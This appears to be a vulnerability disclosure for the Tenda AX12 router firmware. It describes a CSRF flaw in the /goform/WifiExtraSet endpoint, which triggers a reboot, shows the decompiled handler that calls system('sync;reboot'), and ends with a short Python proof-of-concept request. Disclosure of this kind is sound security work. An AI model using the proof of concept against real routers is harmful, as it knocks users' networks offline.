tianhui999 Update AX12-2.md History

1 contributor

28 lines (16 sloc) | 786 Bytes

Affect device: Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Cross Site Request Forgery (CSRF)

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/WifiExtraSet` page which influences the lastest version of Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

The vulnerability exists in the sub_422168 function.

```
int __fastcall sub_422168(int a1)
{
  int v2; // $s1
  int v3; // $s1
  char v5[32]; // [sp+1Ch] [-24h] BYREF

  v2 = sub_421DBC(a1, 0);
  v3 = v2 | sub_421DBC(a1, 1);
  sub_4220C4(a1);
  sub_422004(a1);
  sprintf(v5, "{\"errCode\":%d} ", v3);
  sub_41B688(a1, v5);
  system("sync;reboot");
  return _stack_chk_guard;
}
```

It allows remote attackers to reboot the device and cause denial of service via a payload hosted by an attacker-controlled web page.

POC

```
import requests

url = "http://192.168.158.149/goform/WifiExtraSet"

r = requests.post(url)
#r = requests.get(url) also can do
print(r.content)
```